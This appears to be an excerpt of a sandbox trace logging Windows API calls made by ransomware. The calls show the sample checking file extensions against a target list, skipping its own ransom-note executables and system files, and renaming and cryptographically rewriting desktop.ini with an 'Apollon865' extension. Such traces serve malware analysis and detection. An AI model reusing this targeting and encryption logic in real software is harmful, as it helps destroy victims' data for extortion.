	[0037.725] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0037.725] lstrlenW (lpString="$er") returned 3
	[0037.725] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0037.725] lstrlenW (lpString="4dd") returned 3
	[0037.725] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0037.725] lstrlenW (lpString="4dl") returned 3
	[0037.725] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0037.725] lstrlenW (lpString="^^^") returned 3
	[0037.725] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0037.725] lstrlenW (lpString="abs") returned 3
	[0037.725] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0037.725] lstrlenW (lpString="abx") returned 3
	[0037.725] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0037.725] lstrlenW (lpString="accdb") returned 5
	[0037.725] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0037.725] lstrlenW (lpString="accdc") returned 5
	[0037.725] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0037.725] lstrlenW (lpString="accde") returned 5
	[0037.725] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0037.725] lstrlenW (lpString="accdr") returned 5
	[0037.726] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0037.726] lstrlenW (lpString="accdt") returned 5
	[0037.726] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0037.726] lstrlenW (lpString="accdw") returned 5
	[0037.726] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0037.726] lstrlenW (lpString="accft") returned 5
	[0037.726] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0037.726] lstrlenW (lpString="adb") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0037.726] lstrlenW (lpString="adb") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0037.726] lstrlenW (lpString="ade") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0037.726] lstrlenW (lpString="adf") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0037.726] lstrlenW (lpString="adn") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0037.726] lstrlenW (lpString="adp") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0037.726] lstrlenW (lpString="alf") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0037.726] lstrlenW (lpString="ask") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0037.726] lstrlenW (lpString="btr") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0037.726] lstrlenW (lpString="cat") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0037.726] lstrlenW (lpString="cdb") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0037.726] lstrlenW (lpString="ckp") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0037.726] lstrlenW (lpString="cma") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0037.726] lstrlenW (lpString="cpd") returned 3
	[0037.726] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0037.726] lstrlenW (lpString="dacpac") returned 6
	[0037.726] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0037.726] lstrlenW (lpString="dad") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0037.727] lstrlenW (lpString="dadiagrams") returned 10
	[0037.727] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0037.727] lstrlenW (lpString="daschema") returned 8
	[0037.727] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0037.727] lstrlenW (lpString="db-journal") returned 10
	[0037.727] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0037.727] lstrlenW (lpString="db-shm") returned 6
	[0037.727] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0037.727] lstrlenW (lpString="db-wal") returned 6
	[0037.727] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0037.727] lstrlenW (lpString="dbc") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0037.727] lstrlenW (lpString="dbs") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0037.727] lstrlenW (lpString="dbt") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0037.727] lstrlenW (lpString="dbv") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0037.727] lstrlenW (lpString="dbx") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0037.727] lstrlenW (lpString="dcb") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0037.727] lstrlenW (lpString="dct") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0037.727] lstrlenW (lpString="dcx") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0037.727] lstrlenW (lpString="ddl") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0037.727] lstrlenW (lpString="dlis") returned 4
	[0037.727] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0037.727] lstrlenW (lpString="dp1") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0037.727] lstrlenW (lpString="dqy") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0037.727] lstrlenW (lpString="dsk") returned 3
	[0037.727] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0037.727] lstrlenW (lpString="dsn") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0037.728] lstrlenW (lpString="dtsx") returned 4
	[0037.728] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0037.728] lstrlenW (lpString="dxl") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0037.728] lstrlenW (lpString="eco") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0037.728] lstrlenW (lpString="ecx") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0037.728] lstrlenW (lpString="edb") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0037.728] lstrlenW (lpString="epim") returned 4
	[0037.728] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0037.728] lstrlenW (lpString="fcd") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0037.728] lstrlenW (lpString="fdb") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0037.728] lstrlenW (lpString="fic") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0037.728] lstrlenW (lpString="flexolibrary") returned 12
	[0037.728] lstrlenW (lpString="fm5") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0037.728] lstrlenW (lpString="fmp") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0037.728] lstrlenW (lpString="fmp12") returned 5
	[0037.728] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0037.728] lstrlenW (lpString="fmpsl") returned 5
	[0037.728] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0037.728] lstrlenW (lpString="fol") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0037.728] lstrlenW (lpString="fp3") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0037.728] lstrlenW (lpString="fp4") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0037.728] lstrlenW (lpString="fp5") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0037.728] lstrlenW (lpString="fp7") returned 3
	[0037.728] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0037.728] lstrlenW (lpString="fpt") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0037.729] lstrlenW (lpString="frm") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0037.729] lstrlenW (lpString="gdb") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0037.729] lstrlenW (lpString="gdb") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0037.729] lstrlenW (lpString="grdb") returned 4
	[0037.729] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0037.729] lstrlenW (lpString="gwi") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0037.729] lstrlenW (lpString="hdb") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0037.729] lstrlenW (lpString="his") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0037.729] lstrlenW (lpString="ib") returned 2
	[0037.729] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0037.729] lstrlenW (lpString="idb") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0037.729] lstrlenW (lpString="ihx") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0037.729] lstrlenW (lpString="itdb") returned 4
	[0037.729] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0037.729] lstrlenW (lpString="itw") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0037.729] lstrlenW (lpString="jet") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0037.729] lstrlenW (lpString="jtx") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0037.729] lstrlenW (lpString="kdb") returned 3
	[0037.729] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0037.729] lstrlenW (lpString="kexi") returned 4
	[0037.729] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0037.729] lstrlenW (lpString="kexic") returned 5
	[0037.729] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0037.729] lstrlenW (lpString="kexis") returned 5
	[0037.729] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0037.730] lstrlenW (lpString="lgc") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0037.730] lstrlenW (lpString="lwx") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0037.730] lstrlenW (lpString="maf") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0037.730] lstrlenW (lpString="maq") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0037.730] lstrlenW (lpString="mar") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0037.730] lstrlenW (lpString="marshal") returned 7
	[0037.730] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0037.730] lstrlenW (lpString="mas") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0037.730] lstrlenW (lpString="mav") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0037.730] lstrlenW (lpString="maw") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0037.730] lstrlenW (lpString="mdbhtml") returned 7
	[0037.730] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0037.730] lstrlenW (lpString="mdn") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0037.730] lstrlenW (lpString="mdt") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0037.730] lstrlenW (lpString="mfd") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0037.730] lstrlenW (lpString="mpd") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0037.730] lstrlenW (lpString="mrg") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0037.730] lstrlenW (lpString="mud") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0037.730] lstrlenW (lpString="mwb") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0037.730] lstrlenW (lpString="myd") returned 3
	[0037.730] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0037.731] lstrlenW (lpString="ndf") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0037.731] lstrlenW (lpString="nnt") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0037.731] lstrlenW (lpString="nrmlib") returned 6
	[0037.731] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0037.731] lstrlenW (lpString="ns2") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0037.731] lstrlenW (lpString="ns3") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0037.731] lstrlenW (lpString="ns4") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0037.731] lstrlenW (lpString="nsf") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0037.731] lstrlenW (lpString="nv") returned 2
	[0037.731] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0037.731] lstrlenW (lpString="nv2") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0037.731] lstrlenW (lpString="nwdb") returned 4
	[0037.731] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0037.731] lstrlenW (lpString="nyf") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0037.731] lstrlenW (lpString="odb") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0037.731] lstrlenW (lpString="odb") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0037.731] lstrlenW (lpString="oqy") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0037.731] lstrlenW (lpString="ora") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0037.731] lstrlenW (lpString="orx") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0037.731] lstrlenW (lpString="owc") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0037.731] lstrlenW (lpString="p96") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0037.731] lstrlenW (lpString="p97") returned 3
	[0037.731] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0037.731] lstrlenW (lpString="pan") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0037.732] lstrlenW (lpString="pdb") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0037.732] lstrlenW (lpString="pdm") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0037.732] lstrlenW (lpString="pnz") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0037.732] lstrlenW (lpString="qry") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0037.732] lstrlenW (lpString="qvd") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0037.732] lstrlenW (lpString="rbf") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0037.732] lstrlenW (lpString="rctd") returned 4
	[0037.732] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0037.732] lstrlenW (lpString="rod") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0037.732] lstrlenW (lpString="rodx") returned 4
	[0037.732] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0037.732] lstrlenW (lpString="rpd") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0037.732] lstrlenW (lpString="rsd") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0037.732] lstrlenW (lpString="sas7bdat") returned 8
	[0037.732] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0037.732] lstrlenW (lpString="sbf") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0037.732] lstrlenW (lpString="scx") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0037.732] lstrlenW (lpString="sdb") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0037.732] lstrlenW (lpString="sdc") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0037.732] lstrlenW (lpString="sdf") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0037.732] lstrlenW (lpString="sis") returned 3
	[0037.732] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0037.732] lstrlenW (lpString="spq") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0037.733] lstrlenW (lpString="te") returned 2
	[0037.733] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0037.733] lstrlenW (lpString="teacher") returned 7
	[0037.733] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0037.733] lstrlenW (lpString="tmd") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0037.733] lstrlenW (lpString="tps") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0037.733] lstrlenW (lpString="trc") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0037.733] lstrlenW (lpString="trc") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0037.733] lstrlenW (lpString="trm") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0037.733] lstrlenW (lpString="udb") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0037.733] lstrlenW (lpString="udl") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0037.733] lstrlenW (lpString="usr") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0037.733] lstrlenW (lpString="v12") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0037.733] lstrlenW (lpString="vis") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0037.733] lstrlenW (lpString="vpd") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0037.733] lstrlenW (lpString="vvv") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0037.733] lstrlenW (lpString="wdb") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0037.733] lstrlenW (lpString="wmdb") returned 4
	[0037.733] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0037.733] lstrlenW (lpString="wrk") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0037.733] lstrlenW (lpString="xdb") returned 3
	[0037.733] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0037.734] lstrlenW (lpString="xld") returned 3
	[0037.734] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0037.734] lstrlenW (lpString="xmlff") returned 5
	[0037.734] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0037.734] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini.Apollon865") returned 59
	[0037.734] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\sample videos\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\videos\\sample videos\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0037.734] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\videos\\sample videos\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0037.734] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=326) returned 1
	[0037.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0037.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0037.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0037.735] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0037.736] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0037.736] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0037.736] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x15c
	[0037.740] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000
	[0037.741] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0037.742] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0037.742] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0037.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0037.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0037.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0037.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0037.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0037.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0037.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0037.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0037.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0037.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0037.742] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0037.742] CloseHandle (hObject=0x15c) returned 1
	[0037.742] CloseHandle (hObject=0x158) returned 1
	[0037.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0037.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0037.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0037.744] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d90fd90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d90fd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.744] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.744] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1
	[0037.744] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.744] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="Apollon865.txt.exe") returned 1
	[0037.744] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".") returned 1
	[0037.744] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="..") returned 1
	[0037.744] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="windows") returned -1
	[0037.744] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="bootmgr") returned 1
	[0037.744] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="temp") returned 1
	[0037.744] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="pagefile.sys") returned 1
	[0037.744] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="boot") returned 1
	[0037.744] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="ids.txt") returned 1
	[0037.744] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="ntuser.dat") returned 1
	[0037.745] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="perflogs") returned 1
	[0037.745] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="MSBuild") returned 1
	[0037.745] lstrlenW (lpString="Wildlife.wmv") returned 12
	[0037.745] lstrlenW (lpString="C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini") returned 48
	[0037.745] lstrcpyW (in: lpString1=0x119e652, lpString2="Wildlife.wmv" | out: lpString1="Wildlife.wmv") returned="Wildlife.wmv"
	[0037.745] lstrlenW (lpString="Wildlife.wmv") returned 12
	[0037.745] lstrlenW (lpString="Apollon865") returned 10
	[0037.745] lstrcmpiW (lpString1="ldlife.wmv", lpString2="Apollon865") returned 1
	[0037.745] lstrlenW (lpString=".dll") returned 4
	[0037.745] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".dll") returned 1
	[0037.745] lstrlenW (lpString=".lnk") returned 4
	[0037.745] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".lnk") returned 1
	[0037.745] lstrlenW (lpString=".ini") returned 4
	[0037.745] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".ini") returned 1
	[0037.745] lstrlenW (lpString=".sys") returned 4
	[0037.745] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".sys") returned 1
	[0037.745] lstrlenW (lpString="Wildlife.wmv") returned 12
	[0037.745] lstrlenW (lpString="bak") returned 3
	[0037.745] lstrcmpiW (lpString1="wmv", lpString2="bak") returned 1
	[0037.745] lstrlenW (lpString="ba_") returned 3
	[0037.745] lstrcmpiW (lpString1="wmv", lpString2="ba_") returned 1
	[0037.745] lstrlenW (lpString="dbb") returned 3
	[0037.745] lstrcmpiW (lpString1="wmv", lpString2="dbb") returned 1
	[0037.745] lstrlenW (lpString="vmdk") returned 4
